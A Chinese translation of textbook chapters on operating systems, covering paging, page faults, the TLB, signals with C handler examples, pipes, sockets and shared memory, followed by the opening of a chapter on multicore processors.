接下来,对于每个虚拟地址,使用其页号位 (*p*) 在进程的页面表中查找对应的 PTE。如果 PTE 中的有效位 (*v*) 被设置,则使用框架号 (*f*) 作为物理地址的高位。物理地址的低位来自虚拟地址的字节偏移位 (*d*)。
结果如表 13-5 所示(注意每个地址的翻译使用了哪个页面表)。
**表 13-5:** 进程 P1 和 P2 的内存访问示例序列的地址映射
| **进程** | **虚拟地址** | *p* | *d* | **PTE** | *f* | *d* | **物理地址** |
| --- | --- | --- | --- | --- | --- | --- | --- |
| P1 | 0000100 | 0000 | 100 | `PT[0]: 1(*v*), 3(*f*)` | 011 | 100 | 011100 |
| P1 | 0000000 | 0000 | 000 | `PT[0]: 1(*v*), 3(*f*)` | 011 | 000 | 011000 |
| P1 | 0010000 | 0010 | 000 | `PT[2]: 1(*v*), 6(*f*)` | 110 | 000 | 110000 |
| **上下文切换 P1 到 P2** |
| P2 | 0010000 | 0010 | 000 | `PT[2]: 1(*v*), 5(*f*)` | 101 | 000 | 101000 |
| P2 | 0001010 | 0001 | 010 | `PT[1]: 1(*v*), 4(*f*)` | 100 | 010 | 100010 |
| P2 | 1011001 | 1011 | 001 | `PT[11]: 0(*v*), 3(*f*)` | 页面错误 (有效位 0) |
| **上下文切换 P2 到 P1** |
| P1 | 1011001 | 1011 | 001 | `PT[11]: 1(*v*), 7(*f*)` | 111 | 001 | 111001 |
作为一个例子,考虑进程 P1 访问的第一个地址。当 P1 访问其虚拟地址 8 (0b0000100) 时,地址被分为其页号 0 (0b0000) 和字节偏移 4 (0b100)。页号 0 用于查找 PTE 条目 0,其有效位为 1,表示有效的页面映射条目,且其框架号为 3 (0b011)。物理地址 (0b011100) 是使用框架号 (0b011) 作为高位,页偏移 (0b100) 作为低位构造的。
当进程 P2 在 CPU 上发生上下文切换时,会使用其页面表映射(注意 P1 和 P2 访问相同虚拟地址 0b0010000 时的物理地址不同)。当 P2 访问有效位为 0 的 PTE 条目时,它会触发页面错误,交由操作系统处理。
#### 13.3.4 内存效率
操作系统的主要目标之一是高效地管理硬件资源。系统性能特别依赖于操作系统如何管理内存层次结构。例如,如果一个进程访问存储在 RAM 中的数据,那么该进程的运行速度将比访问存储在磁盘中的数据要快得多。
操作系统力求提高系统中的多道程序运行度,以便在一些进程被阻塞等待事件(如磁盘 I/O)时,让 CPU 持续进行实际的工作。然而,由于 RAM 是固定大小的存储,操作系统必须决定在任何时刻将哪个进程加载到 RAM 中,这可能会限制系统中的多道程序运行度。即使是具有大量 RAM(数十 GB 或数百 GB)的系统,也通常无法同时存储系统中每个进程的完整地址空间。因此,操作系统通过仅加载部分虚拟地址空间到 RAM 中来更有效地利用系统资源运行进程。
##### 使用 RAM、磁盘和页面替换实现虚拟内存
从第 552 页的“局部性”中我们了解到,内存引用通常表现出非常高的局部性。在分页的情况下,这意味着进程倾向于访问其内存空间中的页面,并且具有高度的时间局部性或空间局部性。这也意味着在执行的任何时刻,进程通常不会访问其地址空间的广泛部分。实际上,进程通常永远不会访问其完整地址空间的大范围部分。例如,进程通常不会使用其堆栈或堆内存空间的全部范围。
操作系统有效利用 RAM 和 CPU 的一种方式是将 RAM 作为磁盘的缓存。这样,操作系统允许进程仅加载部分虚拟内存页面到物理 RAM 帧中,从而在系统中运行。其他的虚拟内存页面仍然保留在二级存储设备(如磁盘)上,只有当进程访问这些页面中的地址时,操作系统才会将它们加载到 RAM 中。这是操作系统*虚拟内存*抽象的另一部分——操作系统实现了一种视图,将单一的大型物理“内存”表示为结合 RAM 存储与磁盘或其他二级存储设备的形式。程序员无需显式管理程序的内存,也无需处理在 RAM 中来回移动的部分。
通过将 RAM 视为磁盘的缓存,操作系统只将来自进程虚拟地址空间的那些正在访问或最近访问过的页面保留在 RAM 中。因此,进程通常会将它们正在访问的页面存储在快速的 RAM 中,而将它们不常访问(或根本不访问)的页面存储在较慢的磁盘上。这导致了 RAM 的更高效使用,因为操作系统利用 RAM 存储实际被运行进程使用的页面,而不会浪费 RAM 空间去存储那些很长时间或永远不会被访问的页面。它还通过允许更多进程同时共享 RAM 空间来存储它们的活动页面,从而提高了 CPU 的效率,这可能会增加系统中就绪进程的数量,减少 CPU 因所有进程都在等待诸如磁盘 I/O 之类的事件而空闲的时间。
然而,在虚拟内存系统中,进程有时会尝试访问当前不存储在 RAM 中的页面(导致*页面错误*)。当发生页面错误时,操作系统需要从磁盘读取页面到 RAM 中,然后进程才能继续执行。MMU 读取 PTE 的有效位以确定是否需要触发页面错误异常。当它遇到有效位为零的 PTE 时,它会转入操作系统,操作系统执行以下步骤:
1\. 操作系统找到一个空闲的帧(例如,帧* j *)来加载发生故障的页面。
2\. 接下来,它发出读取磁盘的请求,将页面从磁盘加载到 RAM 的* j *帧中。
3\. 当从磁盘的读取完成时,操作系统更新 PTE 条目,将帧号设置为* j *,并将有效位设置为 1(该页面的 PTE 现在有一个有效的映射到帧* j *)。
4\. 最后,操作系统从导致页面错误的指令处重新启动进程。现在页面表为发生故障的页面持有有效的映射,进程可以访问映射到物理帧* j *偏移量的虚拟内存地址。
为了处理页面错误,操作系统需要跟踪哪些 RAM 帧是空闲的,以便找到一个空闲的 RAM 帧来存储从磁盘读取的页面。操作系统通常会保留一个空闲帧的列表,用于在页面错误时分配。如果没有可用的空闲 RAM 帧,操作系统就会选择一个帧,并用故障页面替换其中存储的页面。被替换页面的 PTE 会被更新,将其有效位设置为 0(此页面的 PTE 映射不再有效)。如果替换页面的内存内容与其磁盘上的版本不同,则该页面会被写回磁盘;如果拥有该页面的进程在页面加载到 RAM 时对其进行了写操作,则需要在替换页面之前将 RAM 中的页面写回磁盘,以免虚拟内存页面的修改丢失。PTE 通常包含一个*脏位*,用于指示页面的内存副本是否已被修改(写入)。在页面置换过程中,如果被替换页面的脏位被设置,则在替换为故障页面之前需要将页面写回磁盘。如果脏位为 0,则被替换页面的磁盘副本与内存副本一致,在替换时不需要将页面写回磁盘。
我们对虚拟内存的讨论主要集中在实现分页虚拟内存的*机制*部分。然而,在操作系统的实现中,分页还有一个重要的*策略*部分。当系统中的空闲 RAM 耗尽时,操作系统需要运行一个*页面置换策略*。页面置换策略选择当前正在使用的一个 RAM 帧,并用故障页面的内容替换它;当前页面会从 RAM 中*逐出*,为存储故障页面腾出空间。操作系统需要实现一个好的页面置换策略,以决定将 RAM 中的哪个帧写回磁盘,从而为故障页面腾出空间。例如,操作系统可能实现*最近最少使用*(LRU)策略,该策略替换 RAM 中最久未访问的页面。LRU 策略在内存访问具有高局部性的情况下表现良好。操作系统还可能选择实现许多其他策略。有关页面置换策略的更多信息,请参阅操作系统教科书。
##### 加速页面访问
尽管分页有许多好处,但它也会导致每次内存访问显著变慢。在分页虚拟内存系统中,每次加载和存储虚拟内存地址都需要*两次*RAM 访问:第一次读取页表项,以获取虚拟地址到物理地址的帧号,第二次读取或写入物理 RAM 地址上的字节。因此,在分页虚拟内存系统中,每次内存访问的速度是支持直接物理 RAM 寻址系统的两倍慢。
减少分页额外开销的一种方法是缓存虚拟页号到物理帧号的页表映射。在转换虚拟地址时,MMU 首先检查缓存中是否有该页号。如果找到,则可以从缓存条目中获取该页的帧号映射,从而避免读取 PTE 时进行一次 RAM 访问。
*翻译查找缓冲区*(TLB)是一个硬件缓存,用于存储(页码,帧号)映射。它是一个小型的完全关联缓存,经过优化以实现硬件中快速查找。当 MMU 在 TLB 中找到映射(TLB 命中)时,就不需要进行页表查找,只需要进行一次 RAM 访问来执行对虚拟内存地址的加载或存储操作。当在 TLB 中未找到映射(TLB 未命中)时,需要额外访问 RAM 中的页表项(PTE),以首先构造加载或存储到 RAM 的物理地址。与 TLB 未命中相关的映射将被添加到 TLB 中。由于内存引用具有良好的局部性,TLB 的命中率非常高,从而导致分页虚拟内存中快速的内存访问——大多数虚拟内存访问仅需要一次 RAM 访问。图 13-25 显示了 TLB 在虚拟到物理地址映射中的应用。

*图 13-25:翻译查找缓冲区(TLB)是一个小型硬件缓存,用于存储虚拟页到物理帧的映射。首先搜索 TLB 中是否有页* p *的条目。如果找到,则无需进行页表查找即可将虚拟地址转换为物理地址。*
### 13.4 进程间通信
进程是操作系统实现的主要抽象之一。私有虚拟地址空间在多道程序设计系统中是一个重要的抽象,并且是操作系统防止进程相互干扰执行状态的一种方式。然而,有时用户或程序员可能希望他们的应用程序进程在运行时能够相互通信(或共享某些执行状态)。
操作系统通常实现对几种类型的进程间通信的支持,即进程间如何通信或共享执行状态的方式。*信号*是一种非常受限的进程间通信形式,允许一个进程向另一个进程发送信号,以通知其某个事件。进程还可以使用*消息传递*进行通信,在这种方式中,操作系统实现了一种消息通信通道的抽象,进程通过该通道与另一个进程交换消息。最后,操作系统还可能通过*共享内存*支持进程间通信,允许进程与其他进程共享其虚拟地址空间的全部或部分内容。具有共享内存的进程可以读写共享空间中的地址,以便与其他进程进行通信。
#### 13.4.1 信号
*信号*是一种由一个进程通过操作系统发送到另一个进程的软件中断。当一个进程接收到信号时,操作系统会中断其当前执行点,以运行信号处理程序代码。如果信号处理程序返回,进程将继续从中断点恢复执行,继续处理信号。有时,信号处理程序会导致进程退出,因此进程不会从中断点继续执行。
信号与硬件中断和陷阱类似,但又不同于这两者。陷阱是一种同步的软件中断,发生在进程显式调用系统调用时,而信号是异步的——进程在执行的任何时候可能会被接收到的信号中断。信号与异步硬件中断的不同之处在于,信号是由软件触发的,而不是由硬件设备触发的。
进程可以通过执行`kill`系统调用向另一个进程发送信号,该系统调用请求操作系统将信号发送给目标进程。操作系统负责将信号传递给目标进程,并设置其执行状态,以运行与该信号关联的信号处理程序代码。
**注意**
`kill`系统调用的名称可能会令人误解,并且不幸的是,它带有暴力意味。尽管它可以(且经常)用于发送终止信号,但它也用于向进程发送任何其他类型的信号。
操作系统本身也使用信号来通知进程某些事件。例如,操作系统会在某个子进程退出时,向进程发送`SIGCHLD`信号。
系统定义了固定数量的信号(例如,Linux 定义了 32 个不同的信号)。因此,信号提供了一种有限的方式供进程之间进行通信,与其他进程间通信方法(如消息传递或共享内存)不同。
表 13-6 列出了部分定义的信号。有关更多示例,请参见手册页(`man 7 signal`)。
**表 13-6:** 用于进程间通信的示例信号
| **信号** | **描述** |
| --- | --- |
| `SIGSEGV` | 段错误(例如,解引用空指针) |
| `SIGINT` | 中断进程(例如,在终端窗口中按 CTRL-C 来终止进程) |
| `SIGCHLD` | 子进程已退出(例如,子进程在执行`exit`后变成僵尸进程) |
| `SIGALRM` | 当定时器超时时通知进程(例如,每 2 秒调用一次`alarm(2)`) |
| `SIGKILL` | 终止一个进程(例如,`pkill -9 a.out`) |
| `SIGBUS` | 总线错误(例如,访问一个未对齐的内存地址以访问`int`值) |
| `SIGSTOP` | 挂起一个进程,进入阻塞状态(例如,CTRL-Z) |
| `SIGCONT` | 继续一个被阻塞的进程(将其移至就绪状态;例如,使用`bg`或`fg`) |
当一个进程接收到信号时,可以发生以下几种默认操作:进程可以终止,信号可以被忽略,进程可以被阻塞,或者进程可以被解除阻塞。
操作系统为每个信号编号定义了默认的行为,并提供了默认的信号处理代码。然而,应用程序开发者可以更改大多数信号的默认行为,并编写自己的信号处理函数。如果应用程序未为某个信号注册自定义的信号处理函数,那么当进程接收到该信号时,操作系统的默认处理程序将执行。对于某些信号,操作系统定义的默认行为无法被应用程序的信号处理程序覆盖。例如,如果一个进程接收到`SIGKILL`信号,操作系统将强制终止该进程,而接收到`SIGSTOP`信号时,进程将一直阻塞,直到接收到继续信号(`SIGCONT`)或终止信号(`SIGKILL`)。
Linux 支持两种不同的系统调用,可以用来更改信号的默认行为或为特定信号注册信号处理函数:`sigaction`和`signal`。由于`sigaction`符合 POSIX 标准并且功能更丰富,因此应在生产软件中使用。然而,我们在示例代码中使用`signal`,因为它更易于理解。
以下是一个示例程序^(3),通过`signal`系统调用注册了`SIGALRM`、`SIGINT`和`SIGCONT`信号的信号处理函数(为了提高可读性,错误处理部分被省略):
/*
* Example of signal handlers for SIGALRM, SIGINT, and SIGCONT
*
* A signal handler function prototype must match:
* void handler_function_name(int signum);
*
* Compile and run this program, then send this process signals by executing:
* kill -INT pid (or Ctrl-C) will send a SIGINT
* kill -CONT pid (or Ctrl-Z fg) will send a SIGCONT
*/
include <stdio.h>
include <stdlib.h>
include <unistd.h>
include <signal.h>
/* signal handler for SIGALRM */
void sigalarm_handler(int sig) {
printf("BEEP, signal number %d\n.", sig);
fflush(stdout);
alarm(5); /* sends another SIGALRM in 5 seconds */
}
/* signal handler for SIGCONT */
void sigcont_handler(int sig) {
printf("in sigcont handler function, signal number %d\n.", sig);
fflush(stdout);
}
/* signal handler for SIGINT */
void sigint_handler(int sig) {
printf("in sigint handler function, signal number %d...exiting\n.", sig);
fflush(stdout);
exit(0);
}
/* main: register signal handlers and repeatedly block until receive signal */
int main() {
/* Register signal handlers. */
if (signal(SIGCONT, sigcont_handler) == SIG_ERR) {
printf("Error call to signal, SIGCONT\n");
exit(1);
}
if (signal(SIGINT, sigint_handler) == SIG_ERR) {
printf("Error call to signal, SIGINT\n");
exit(1);
}
if (signal(SIGALRM, sigalarm_handler) == SIG_ERR) {
printf("Error call to signal, SIGALRM\n");
exit(1);
}
printf("kill -CONT %d to send SIGCONT\n", getpid());
alarm(5); /* sends a SIGALRM in 5 seconds */
while(1) {
pause(); /* wait for a signal to happen */
}
}
在运行时,进程每隔 5 秒钟接收到一个`SIGALRM`信号(由于`main`函数中的`alarm`和`sigalarm_handler`)。`SIGINT`和`SIGCONT`信号可以通过在另一个 Shell 中运行`kill`或`pkill`命令来触发。例如,如果进程的 PID 是 1234 且可执行文件是`a.out`,那么以下 Shell 命令会发送`SIGINT`和`SIGCONT`信号给该进程,从而触发其信号处理函数运行:
$ pkill -INT a.out
$ kill -INT 1234
$ pkill -CONT a.out
$ kill -CONT 1234
##### 编写 SIGCHLD 处理函数
记住,当一个进程终止时,操作系统会向其父进程发送一个`SIGCHLD`信号。在创建子进程的程序中,父进程并不总是希望在调用`wait`时阻塞,直到其子进程退出。例如,当一个 Shell 程序在后台运行命令时,它会与子进程并发运行,同时在前台处理其他 Shell 命令,而子进程则在后台运行。然而,父进程仍然需要调用`wait`来回收已退出的僵尸子进程。如果不这样做,僵尸进程将永远不会死亡,并且会继续占用一些系统资源。在这种情况下,父进程可以注册一个`SIGCHLD`信号处理函数。当父进程接收到已退出的子进程发来的`SIGCHLD`时,其处理程序代码将执行,并调用`wait`回收僵尸子进程。
以下是一个代码片段,展示了如何实现一个处理`SIGCHLD`信号的信号处理函数。该片段还展示了`main`函数的一部分,注册了处理`SIGCHLD`信号的信号处理函数(请注意,这应该在任何调用`fork`之前完成):
/*
* signal handler for SIGCHLD: reaps zombie children
* signum: the number of the signal (will be 20 for SIGCHLD)
*/
void sigchld_handler(int signum) {
int status;
pid_t pid;
/*
* reap any and all exited child processes
* (loop because there could be more than one)
*/
while( (pid = waitpid(-1, &status, WNOHANG)) > 0) {
/* uncomment debug print stmt to see what is being handled
printf("signal %d me:%d child: %d\n", signum, getpid(), pid);
*/
}
}
int main() {
/* register SIGCHLD handler: */
if ( signal(SIGCHLD, sigchild_handler) == SIG_ERR) {
printf("ERROR signal failed\n");
exit(1);
}
...
/* create a child process */
pid = fork();
if(pid == 0) {
/* child code...maybe call execvp */
...
}
/* the parent continues executing concurrently with child */
...
这个示例将–1 作为 PID 传递给`waitpid`,这意味着“回收任何僵尸子进程”。它还传递了`WNOHANG`标志,这意味着如果没有僵尸子进程可回收,`waitpid`调用不会阻塞。还要注意,`waitpid`是在`while`循环中调用的,只要它返回有效的 PID 值(只要它回收了一个僵尸子进程),循环就会继续。信号处理程序函数在循环中调用`waitpid`非常重要,因为在信号处理程序运行时,进程可能会接收到来自其他已退出子进程的额外`SIGCHLD`信号。操作系统不会跟踪进程接收到的`SIGCHLD`信号的数量,它只会记录进程收到了`SIGCHLD`信号并中断执行以运行处理程序代码。因此,如果没有循环,信号处理程序可能会错过回收一些僵尸子进程。
信号处理程序会在父进程接收到`SIGCHLD`信号时执行,无论父进程是否在调用`wait`或`waitpid`时被阻塞。如果父进程在接收到`SIGCHLD`信号时被阻塞在`wait`调用上,它会被唤醒并执行信号处理程序代码,以回收一个或多个僵尸子进程。然后,它会在程序中继续执行,跳到`wait`调用后的代码位置(因为它刚刚回收了一个已退出的子进程)。然而,如果父进程在调用`waitpid`等待特定子进程时被阻塞,那么在信号处理程序代码执行完毕回收了已退出的子进程后,父进程可能会继续阻塞,也可能会不再阻塞。如果信号处理程序代码回收了父进程正在等待的子进程,则父进程会在`waitpid`调用后继续执行。否则,父进程会继续在`waitpid`调用上阻塞,等待指定子进程退出。如果`waitpid`调用中传入的子进程 PID 不存在(可能是之前在信号处理程序循环中已回收的子进程),则不会阻塞调用者。
#### 13.4.2 消息传递
进程在拥有私有虚拟地址空间的情况下进行通信的一种方式是通过*消息传递*——通过相互发送和接收消息。消息传递使程序能够交换任意数据,而不仅仅是像信号所支持的那样的一小部分预定义消息。而且操作系统通常会实现几种不同类型的消息传递抽象,供进程用于通信。
消息传递进程间通信模型由三部分组成:
1\. 进程从操作系统分配某种类型的消息通道。示例消息通道类型包括用于单向通信的*管道*,以及用于双向通信的*套接字*。进程可能需要执行额外的连接设置步骤,以配置消息通道。
2\. 进程使用消息通道相互发送和接收消息。
3\. 进程在完成使用消息通道后关闭该通道的一端。
*管道*是一个单向通信通道,用于在同一台机器上运行的两个进程之间。单向意味着管道的一端仅用于发送消息(或写入),而另一端仅用于接收消息(或读取)。管道通常在 shell 命令中用于将一个进程的输出传递给另一个进程的输入。
例如,考虑以下在 bash shell 提示符下输入的命令,它在两个进程之间创建了一个管道(`cat` 进程输出文件 `foo.c` 的内容,而管道(`|`)将该输出重定向到 `grep` 命令的输入,后者在其输入中搜索字符串“factorial”):
$ cat foo.c | grep factorial
执行此命令时,bash shell 进程调用 `pipe` 系统调用,请求操作系统创建一个管道通信。该管道将被 shell 的两个子进程(`cat` 和 `grep`)使用。shell 程序将 `cat` 进程的 `stdout` 设置为写入管道的写入端,并将 `grep` 进程的 `stdin` 设置为从管道的读取端读取,以便当子进程被创建并运行时,`cat` 进程的输出将作为输入传递给 `grep` 进程(见 图 13-26)。

*图 13-26:管道是用于同一系统上进程之间的单向通信通道。在此示例中,`cat` 进程通过写入管道的写端将信息发送给 `grep` 进程。`grep` 进程通过从管道的读端读取该信息来接收数据。*
虽然管道仅以单向方式传输数据,但其他消息传递抽象允许进程在两个方向上进行通信。*套接字*是一个双向通信通道,这意味着套接字的每一端都可以用于发送和接收消息。套接字可以被同一计算机上或通过网络连接的不同计算机上的通信进程使用(见 图 13-27)。这些计算机可能通过*局域网*(LAN)连接,局域网连接小范围内的计算机,例如大学计算机科学系的网络。通信进程也可以位于不同的局域网上,并通过互联网连接。只要两台机器之间存在某种网络连接路径,进程就可以使用套接字进行通信。

*图 13-27:套接字是双向通信通道,通信过程可以在不同机器上的进程之间通过网络连接使用。*
因为每台个人计算机都是自己的系统(硬件和操作系统),并且因为一个系统上的操作系统不知道或管理另一个系统上的资源,所以消息传递是不同计算机上的进程可以进行通信的唯一方式。为了支持这种类型的通信,操作系统需要实现一种通用的消息传递协议,用于通过网络发送和接收消息。TCP/IP 是可用于通过互联网发送消息的消息传递协议的一个例子。当一个进程想要向另一个进程发送消息时,它会进行`send`系统调用,向操作系统传递它想要传输的套接字、消息缓冲区以及可能有关消息或其预期接收者的其他信息。操作系统负责将消息打包到消息缓冲区并将其发送到网络上的其他机器。当操作系统从网络接收到消息时,它会解包消息并将其传递给系统上请求接收消息的进程。此进程可能处于阻塞状态,等待消息到达。在这种情况下,收到消息会使进程准备好再次运行。
在消息传递的顶层上构建了许多系统软件抽象,隐藏了程序员的消息传递细节。然而,任何在不同计算机上运行的进程之间的通信都必须在最低层次上使用消息传递(通过共享内存或信号进行通信对在不同系统上运行的进程不是一个选择)。在第十五章中,我们将更详细地讨论消息传递及其上面构建的抽象。
#### 13.4.3 共享内存
使用套接字进行消息传递对于在同一台机器上运行的进程之间和在不同机器上运行的进程之间的双向通信非常有用。然而,当两个进程在同一台机器上运行时,它们可以利用共享系统资源来比使用消息传递更高效地进行通信。
例如,操作系统可以通过允许进程共享它们的虚拟地址空间的全部或部分来支持进程间通信。一个进程可以读取和写入共享部分的地址空间,以与共享同一内存区域的其他进程通信。
操作系统可以通过设置两个或更多进程的页表条目来实现部分地址空间共享,将它们映射到相同的物理帧。图 13-28 展示了一个映射的例子。为了通信,一个进程向共享页上的地址写入一个值,另一个进程随后读取该值。

*图 13-28:操作系统可以通过将共享进程的页表中的条目设置为相同的物理帧号(例如,帧 100),来支持共享虚拟地址空间的页面。请注意,进程不需要使用相同的虚拟地址来引用共享的物理内存页面。*
如果操作系统支持部分共享内存,那么它会实现一个接口,供程序员创建并附加到共享内存页(或共享区域/段)。在 Unix 系统中,系统调用`shmget`用于创建或附加到共享内存段。每个共享内存段对应一组连续的虚拟地址,这些虚拟地址的物理映射与其他附加到相同共享内存段的进程共享。
操作系统通常还支持共享单一的完整虚拟地址空间。*线程*是操作系统对执行控制流的抽象。一个进程在单一虚拟地址空间中有一个执行控制流的线程。一个多线程进程在单一的共享虚拟地址空间中有多个并发的执行控制流的线程——所有线程共享其所属进程的完整虚拟地址空间。
线程可以通过读取和写入它们的公共地址空间中的共享位置来轻松共享执行状态。例如,如果一个线程更改了全局变量的值,所有其他线程都会看到该变化的结果。
在多处理器系统(SMP 或多核)中,多线程进程的各个线程可以被调度在多个核心上同时运行,*并行*。在第十四章中,我们将更详细地讨论线程和并行多线程编程。
### 13.5 小结与其他操作系统功能
在本章中,我们研究了操作系统是什么、它是如何工作的,以及它在计算机上运行应用程序时所扮演的角色。作为计算机硬件和应用程序之间的系统软件层,操作系统高效地管理计算机硬件,并实现了使计算机更易于使用的抽象。操作系统实现了两个抽象:进程和虚拟内存,以支持多任务处理(允许计算机系统上同时运行多个程序)。操作系统跟踪系统中的所有进程及其状态,并实现了在 CPU 核心上运行进程的上下文切换。操作系统还为进程提供了一种方式,可以创建新进程、退出进程以及进程之间相互通信。通过虚拟内存,操作系统实现了每个进程的私有虚拟内存空间抽象。虚拟内存抽象保护进程不受其他进程共享计算机物理内存空间影响。分页是虚拟内存的一种实现方式,它将每个进程的虚拟地址空间中的单独页面映射到物理 RAM 空间的帧上。虚拟内存也是操作系统更高效利用 RAM 的一种方式;通过将 RAM 视为磁盘的缓存,它允许虚拟内存空间的页面存储在 RAM 或磁盘上。
本章中我们关注的是操作系统在运行程序中的角色,包括操作系统为了高效运行程序而实现的抽象和机制,但这只是一个片面的介绍。关于进程和进程管理、虚拟内存和内存管理,实际上还有很多其他的实现选项、细节以及政策问题。此外,操作系统还实现了许多其他重要的抽象、功能和政策,用于管理和使用计算机。例如,操作系统实现了文件系统抽象以访问存储数据,保护机制和安全策略用于保护用户和系统,调度策略用于不同操作系统和硬件资源的管理。
现代操作系统还实现了对进程间通信、网络和并行分布式计算的支持。此外,大多数操作系统还包括*虚拟机监控程序*支持,该支持将系统硬件虚拟化,并允许主机操作系统运行多个虚拟的来宾操作系统。虚拟化支持主机操作系统管理计算机硬件的启动,并在其上运行多个其他操作系统,每个操作系统都拥有自己独立的虚拟化视图,能够访问底层硬件。主机操作系统的虚拟机监控程序支持管理虚拟化,包括保护和共享底层物理资源,供来宾操作系统使用。
最后,大多数操作系统提供一定程度的可扩展性,用户(通常是系统管理员)可以对操作系统进行调优。例如,大多数类 Unix 系统允许用户(通常需要 root 或超级用户权限)更改操作系统缓冲区、缓存、交换分区的大小,并从操作系统子系统和硬件设备中选择不同的调度策略。通过这些修改,用户可以根据其运行的应用程序负载类型来调整系统。这些类型的操作系统通常支持*可加载内核模块*,这是一种可以加载到内核中并在内核模式下运行的可执行代码。可加载内核模块常用于向内核添加额外的抽象或功能,以及加载设备驱动程序代码到内核中,以处理管理特定硬件设备。有关操作系统的更广泛和深入的内容,我们推荐阅读操作系统教材,如 *操作系统:三大基础*。^(4)
### 注释
1. Meltdown 和 Spectre. *[`meltdownattack.com/`](https://meltdownattack.com/)*
2. 可在 *[`diveintosystems.org/book/C13-OS/_attachments/fork.c`](https://diveintosystems.org/book/C13-OS/_attachments/fork.c)* 上获取。
3. 可在 *[`diveintosystems.org/book/C13-OS/_attachments/signals.c`](https://diveintosystems.org/book/C13-OS/_attachments/signals.c)* 上获取。
4. Remzi H. Arpaci-Dusseau 和 Andrea C. Arpaci-Dusseau,*操作系统:三大基础*,Arpaci-Dusseau Books,2018 年。
# 第十五章:在多核时代利用共享内存
*世界改变了。*
*我在硅中感受到它。*
*我在晶体管中感受到了它。*
*我在核心中看到了它。*
*——向加拉德丽尔致歉*
《指环王:护戒使者》

到目前为止,我们讨论的架构集中在纯单 CPU 世界中。但世界已经发生了变化。今天的 CPU 拥有多个*核心*或计算单元。在本章中,我们将讨论多核架构,并介绍如何利用它们加速程序的执行。
**注意:CPU、处理器与核心**
本章中的许多实例中,*处理器*和*中央处理器(CPU)*这两个术语是可以互换使用的。从根本上讲,*处理器*是执行外部数据计算的任何电路。根据这个定义,*中央处理单元(CPU)*是一个处理器的例子。具有多个计算核心的处理器或 CPU 被称为*多核处理器*或*多核 CPU*。*核心*是一个计算单元,包含构成经典 CPU 的许多组件:算术逻辑单元(ALU)、寄存器和一些缓存。虽然*核心*与处理器不同,但在文献中看到这些术语互换使用并不罕见(尤其是在文献出现在多核处理器还被认为是新兴技术的时期)。
1965 年,英特尔创始人戈登·摩尔估计,集成电路中的晶体管数量每年会翻一番。他的预测,现在被称为*摩尔定律*,后来被修正为晶体管数量每*两年*翻一番。尽管电子开关从巴尔登的晶体管演变为现代计算机中使用的微型芯片晶体管,摩尔定律在过去 50 年里依然有效。然而,千年之交,处理器设计遇到了几个关键的性能瓶颈:
*内存墙*:内存技术的进步没有跟上时钟速度的提升,导致内存成为性能的瓶颈。因此,持续加速 CPU 的执行不再能改善其整体系统性能。
*功率墙*:增加处理器上的晶体管数量必然会提高该处理器的温度和功耗,从而增加为系统提供电力和散热的成本。随着多核系统的普及,电力已成为计算机系统设计中的主要问题。
电力和内存瓶颈促使计算机架构师改变了设计处理器的方式。与其增加更多晶体管来提高 CPU 执行单一指令流的速度,架构师开始在 CPU 中增加多个*计算核心*。计算核心是简化的处理单元,包含比传统 CPU 更少的晶体管,且通常更容易制造。在一个 CPU 上组合多个核心可以让 CPU 同时执行*多个*独立的指令流。
**警告:更多核心 != 更好**
可能会让人产生误解,认为所有核心都是相同的,并且计算机核心越多,性能就越好。但事实并非如此!例如,*图形处理单元*(GPU)核心比 CPU 核心的晶体管还要少,并且专门用于涉及向量的特定任务。一个典型的 GPU 可能有 5000 个或更多 GPU 核心。然而,GPU 核心在它们能够执行的操作类型上是有限制的,并且并不总是适合像 CPU 核心那样的通用计算。使用 GPU 进行计算被称为*多核*计算。在本章中,我们集中讨论*多核*计算。有关多核计算的讨论,请参见第十五章。
##### 更深入的探讨:多少个核心?
几乎所有现代计算机系统都有多个核心,包括像树莓派这样的微型设备。^(1) 确定系统上的核心数量对于准确衡量多核程序的性能至关重要。在 Linux 和 macOS 计算机上,`lscpu` 命令提供了系统架构的摘要。在以下示例中,我们展示了在一台样本机器上运行 `lscpu` 命令时的输出(部分输出被省略,以强调关键特性):
$ lscpu
Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
CPU(s): 8
On-line CPU(s) list: 0-7
Thread(s) per core: 2
Core(s) per socket: 4
Socket(s): 1
Model name: Intel(R) Core(TM) i7-3770 CPU @ 3.40GHz
CPU MHz: 1607.562
CPU max MHz: 3900.0000
CPU min MHz: 1600.0000
L1d cache: 32K
L1i cache: 32K
L2 cache: 256K
L3 cache: 8192K
...
`lscpu` 命令提供了很多有用的信息,包括处理器类型、核心速度和核心数量。要计算系统中的*物理*(或实际)核心数,需将插槽数量与每个插槽的核心数相乘。前面示例中显示的 `lscpu` 输出表明,该系统有一个插槽,每个插槽有四个核心,总共有四个物理核心。
超线程
刚开始看,可能会觉得前面的示例系统总共有八个核心。毕竟,“CPU(s)”字段似乎暗示了这一点。然而,这个字段实际上表示的是*超线程*(逻辑)核心的数量,而不是物理核心的数量。超线程技术,或称为同时多线程(SMT),使得在单个核心上可以高效地处理多个线程。虽然超线程可以减少程序的总体运行时间,但超线程核心的性能提升并不像物理核心那样按相同比例增长。然而,如果某个任务处于空闲状态(例如,由于控制冒险,参见第 279 页的“流水线冒险:控制冒险”部分),另一个任务仍然可以使用该核心。简而言之,超线程的引入是为了提高*进程吞吐量*(即在给定时间内完成的进程数量),而不是*进程加速*(即衡量单个进程的运行时间改善)。在接下来的章节中,我们将重点讨论加速。
### 14.1 编程多核系统
今天大多数程序员所熟知的常见编程语言是在多核时代之前创建的。因此,许多语言无法*隐式*(或自动)利用多核处理器来加速程序的执行。相反,程序员必须专门编写软件,以利用系统中的多个核心。
#### 14.1.1 多核系统对进程执行的影响
回想一下,进程可以被视为正在运行的程序的抽象(参见第 624 页的“进程”部分)。每个进程在其自己的虚拟地址空间中执行。操作系统(OS)将进程安排在 CPU 上执行;当 CPU 切换到执行其他进程时,就会发生*上下文切换*。
图 14-1 展示了五个示例进程如何在单核 CPU 上执行。

*图 14-1:五个进程在共享单个 CPU 核心时的执行时间序列*
水平轴表示时间,每个时间片占用一个单位时间。一个框表示进程正在使用单核 CPU 的时段。假设每个进程在发生上下文切换之前会执行完整的时间片。因此,进程 1 在时间步骤 T1 和 T3 期间使用 CPU。
